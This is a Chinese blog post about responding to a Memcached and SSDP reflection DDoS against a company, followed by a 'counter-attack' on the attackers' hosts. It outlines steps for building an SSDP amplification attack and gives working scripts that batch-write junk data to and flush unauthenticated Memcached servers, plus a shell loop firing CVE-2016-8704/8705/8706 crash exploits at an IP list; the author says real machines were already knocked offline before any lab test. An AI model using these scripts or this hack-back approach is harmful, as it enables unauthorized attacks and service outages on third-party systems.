美文网首页学习
一次完整的DDoS应急处理以及反制的学习经历

一次完整的DDoS应急处理以及反制的学习经历

作者: Your7Maxx | 来源:发表于2021-02-02 23:09 被阅读0次

    一、背景

    最近因为个人的私事较多,很久没有专注的去做一些安全相关的事情了,昨天下午师哥找到我,负责的甲方公司被D了,流量也是百G级别的,并且还进行了勒索。师哥希望我给一点思路和方法,对攻击者采取反制的措施。


    image.png

    正好很久没有练习学习过了,趁着这次机会可以完整的接触一遍企业级的被D的防护全过程。

    二、感知

    首先通过在阿里云的控制台可以看到被D的时间周期分布:


    image.png

    昨天下午的四点左右,还有一次在昨天晚上八点左右。下载证据进行流量包的分析:


    image.png
    从部分流量包中可以看到,攻击者通过Memcache服务放大了流量包。
    除此之外,攻击者还利用SSDP协议反射放大DDoS:
    image.png

    三、学习

    对于SSDP协议或者说对于DDoS这块的知识之前接触的不多,更不了解反射放大流量的原理。之前一直搞Web安全,大家都知道使用BurpSuite抓包,一个请求对应一个响应,这是http协议定死了的。所以到了网络层,思维不能存在定势,一个请求包可能对应多个响应包,这也是TCP/IP协议允许的,反射放大就是基于这个原理。安全很多东西可以套用,无论在四层还是在七层,攻击测试无非是抓包,拦截,改包,重放······反射放大最常修改的字段是网络层源IP字段。套路是固定的,关键还是看思路,每一种新型漏洞或者每一种新型DDoS攻击都是人为创造出来的。(与纯靠肉鸡的DDoS不同,以小博大的骚操作更值得去深入研究,因为靠僵尸网络堆起来的流量,有点“以大欺小”群殴的感觉,而通过“以小博大”,“四两拨千斤”的姿态进行的DDoS攻击,需要对特定的网络协议有个清晰的认识,并能够找到破绽为我所用)

    反射

    反射型DDoS,能够让人马上想起“反射型XSS”这种Web漏洞类型,攻击者构造的XSS payload通过服务器反射给受害者,我们也需要某种介质将自己发送的网络数据包反射给受害者,而这种介质可以是互联网上任何服务器任何端口的任何协议,只要这种协议有请求有响应。
    正常的请求发送过去后,响应会直接沿原路返回,如图所示:


    image.png

    但是我们上面说了修改正常的请求的源IP为受害者的IP,响应就会发送给受害者,如图所示:



    当然我们不会只发送给一个中间介质,否则形成不了DDoS,于是乎又有了下图:
    image.png

    放大

    就算响应包比请求包字节数大一点,上面的反射其实并没有比纯的DDoS(直接发包)省流量,DDoS的目的就是流量最大化,达到耗尽资源和带宽的目的,因为攻击者这边的资源和带宽是一定的,所以很少有人直接反射,介质必须还要有个属性,就是“放大”,几十倍几百倍的放大已经不得了了,最新的memcache放大似乎已经到了万倍,一万倍是个什么概念?拿某些双向流量收费限制流量的vps打比方吧,我发送1M流量到某个地方,将收到10G流量,瞬间肉疼,如图所示:


    image.png

    下面是反射+放大的效果图,A以最小的带宽达到发送到C的流量最大化:


    image.png
    (注意,这种攻击方式是在没有控制B1,B2,B3···的情况下进行的,所以很隐蔽,难以逆向追踪)

    SSDP

    怎样才能称为合适的介质呢,我们需要一个可以IP欺骗的、易于反射放大的协议,这种协议存在于很多正常的外网开放的服务器端口中。“端口就像一盒巧克力,你永远不知道你会得到什么”,阿甘说的这句话也可以套用在这里。此处要重点描述的SSDP就是众多可利用的协议之一。
    SSDP全称Simple Sever Discovery Protocol,它自己都说它简单了,其实真的很简单。为啥我先说它呢,还是因为上面说的Web情结,它的本质是一个在UDP上面的HTTP协议,下面是维基百科里面的图:


    image.png

    是不是脑洞大开,以前一直想当然地以为HTTP协议一定是应用在TCP协议上面的,所以以后如果碰到这样的笔试题一定要怼回去。
    没有必要详细讲解这个协议,毕竟我们不是来寻找协议缺陷的,我们只要知道与DDoS相关的知识即可,大概有下面几点:
    1、SSDP通常应用在通用即插即用 (UPnP)设备上,用来发现设备
    2、一般使用多播地址239.255.255.250和UDP端口号1900
    3、本应该应用在内网的端口被无意中开放到外网
    4、SSDP的缺陷是不检查查询方是否与设备在同一个网络中

    实验测试

    缺(下篇博文补上,并非本文的重点)

    总结

    攻击的整个流程现在就明朗了:
    Step1:首先收集反射源,可以全网段扫描开放1900端口的外网IP,也可以爬虫shodan或者zoomeye结果
    Step2:然后扔到nmap里面进行验证,验证命令nmap -iL ip.txt -sU --script=upnp-info -p 1900 -oX result.xml
    Step3:根据上面发包脚本,写一个好的多线程发包器,遍历验证过可以返回数据包的IP列表
    Step4:输入要攻击的IP,一键DDoS
    Step5:等待警察叔叔的到来

    四、反制

    有了攻击者的IP,一开始想的是扫遍端口,看看能不能通过端口服务拿下对方的服务器,但是ssh、mysql等没有弱口令,80上也没什么。思路一下子就断了。但是Memcache的端口开着,并且存在未授权访问。这些工作师哥也已经验证过了,我们同步了一下信息。发现又一波DDoS来了,在紧张的气氛下我提出了反D的措施:


    image.png

    漏洞介绍如下:


    image.png
    并且公开了poc,一开始认为的是该漏洞导致的结果为RCE,但是并没有RCE的效果,而是直接将在影响版本范围内的机器上的Memcached服务打挂了:
    image.png

    于是有了反制的方案一:利用Memcache服务漏洞,关闭目标主机端口服务。
    但是该方法的最大的缺陷便是Memcached的版本问题,于是师哥整理了一份Excel数据,将目标主机IP资产划分为影响版本范围内和范围外:


    image.png
    而对于版本大于1.4.33的Memcached服务,师哥提出的方案是:
    (1)flush清理对方机器的缓存
    (2)利用自动化脚本操作memcache并向里写入key-value:写入一条key-value留言
    警告/写入大量key-value
    最后的反制方案如下:
    image.png

    于是我又负责去实现了下师哥提出的方案二:


    image.png

    本地实验测试

    在本地实验测试之前,已经对对方的部分IP资产进行了攻击,搞挂了很多台机器。但是老板提醒攻击的谨慎性,在方案没有完善落地之前,不可以对真实资产进行攻击。于是我下午的时候又补了一下本地实验的过程,,过程如下:
    [被攻击主机IP:175.24..(下称主机A)
    攻击方主机IP:81.68..(下称主机B)]

    1、漏洞环境搭建:

    在被攻击主机的机器上搭建在漏洞版本影响范围内的Memcached(version 1.4.31)服务:
    (1)docker pull medicean/vulapps:m_memcached_CVE-2016-8704

    image.png
    (2)docker run -d -p 11211:11211 medicean/vulapps:m_memcached_CVE-2016-8704
    image.png
    (3)查看服务是否可以访问:
    telnet 127.0.0.1 11211
    image.png

    2、在主机B上对主机A进行Mem服务的未授权操作

    (1)检查端口是否开放:


    image.png

    (2)尝试未授权访问主机A的Memcached服务


    image.png
    (3)自动化批量写入键值对(test,123)
    代码如下:
    import memcache
    
    def run():
     data=open("ip.txt","r")
     for i in data.readlines():
      str=i.strip('\n')+':11211'
      mc=memcache.Client([str],debug=False)
      mc.set("test","123")
      value=mc.get("test")
      print(value)
    
    if __name__ == '__main__':
     run()
    

    (ip.txt在当前py文件目录下,本实验中该ip.txt文件里只有主机A的IP)
    运行:python3 write_value.py

    image.png
    在主机A中查看对应key的value:
    image.png
    写入成功。
    (4)自动化批量写入对应key的大约在100000b左右的数据
    代码如下:
    import memcache
    
    def run():
     data=open("ip.txt","r")
     for i in data.readlines():
      str=i.strip('\n')+':11211'
      mc=memcache.Client([str],debug=False)
      mc.set("test","0000000000i0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000")
      value=mc.get("test")
      print(value)
    if __name__ == '__main__':
     run()
    

    运行:python3 write_bigdata.py

    image.png
    在主机A中查看对应key的数据:
    image.png
    成功写入。
    (5)自动化批量对目标IP的Memcached服务执行flush_all命令:
    代码如下:
    import memcache
    
    def run():
     data=open("ip.txt","r")
     for i in data.readlines():
      str=i.strip('\n')+':11211'
      mc=memcache.Client([str],debug=False)
      mc.flush_all()
    
    if __name__ == '__main__':
     run()
    

    首先在主机A中写入三个有效的键值对:(test1,123);(test2,456);(test3,789)

    image.png
    接着在主机B中执行:python3 flush_all.py
    image.png
    最后在主机A中查看这三个键值对:
    image.png
    主机A缓存中的所有键值对已被清理。

    3、利用Memcached服务的整数溢出漏洞对主机A进行攻击

    Shell脚本如下(批量对iplist中的目标主机依次执行三个poc进行攻击):

    for i in `cat ip.txt`;do python2 poc_2016_8704.py $i 11211;python2 poc_2016_8705.py $i 11211;python2 poc_2016_8706.py $i 11211;
    done;
    

    运行:

    image.png
    此时主机A的Memcached服务已被中断:
    image.png
    image.png
    在主机B中查看主机A的Mem端口开放情况:
    image.png
    目标主机Mem服务端口已关闭。
    这里需要补充一下,前期攻击者资产的收集分为以下几步:
    Step1:获取memcache服务的IP
    tshark -r 1.cap -Y "memcache" -T fields -e ip.src > output.txt
    Step2:使用excel进行数据去重并得到iplist.tx
    Step3:批量扫描memcache的未授权
    nmap -sV -p 11211 --script=memcached-info -iL iplist.txt
    image.png
    其中grep到Authentication为no的即为未授权。

    五、感受与提高

    这应该算是假期里最让人充满激情的一次学习经历了。第一次接触企业级的DDoS应急和反制,并且从提出反制方案到落地实验测试完善再到最后的真实反打,从整个完整的过程中收获了很多经验和提高。逐渐地感知到自己在面对一个具体问题时思维方法的转变和提高,这是让人比较惊喜的一点。晚上开会的时候,老师针对本次的被D事件又提出了他不一样的看法和思考的点,确实跟自己不在一个维度。老师经常强调的安全人员的三个层次:交付响应、交付效果、交付控制,自己目前还只是总停留在响应层面上,之所以只能停留在响应层面上,可能还是由于自己的能力并不足以完全的hold住这个问题,所以把所有的重心都放在攻坚和解决问题上,忽略了其他比较重要的一些东西。响应层面上的问题当然需要考虑,也必不可少。然而并不是全部,甚至只是不可缺少的一小部分。譬如被骗钱了,要不要考虑止损,要不要考虑报警,当然要,但还有其他的。怎么防止被骗?这是目标,具体些,是要弄清楚被骗的根本原因。

    六、To-Do

    1、完成SSDP的实验
    2、再多了解一些关于反射放大DDoS的事件或干货,并与本次经历进行比较思考

    相关文章

      网友评论

        本文标题:一次完整的DDoS应急处理以及反制的学习经历

        本文链接:https://www.haomeiwen.com/subject/bpdytltx.html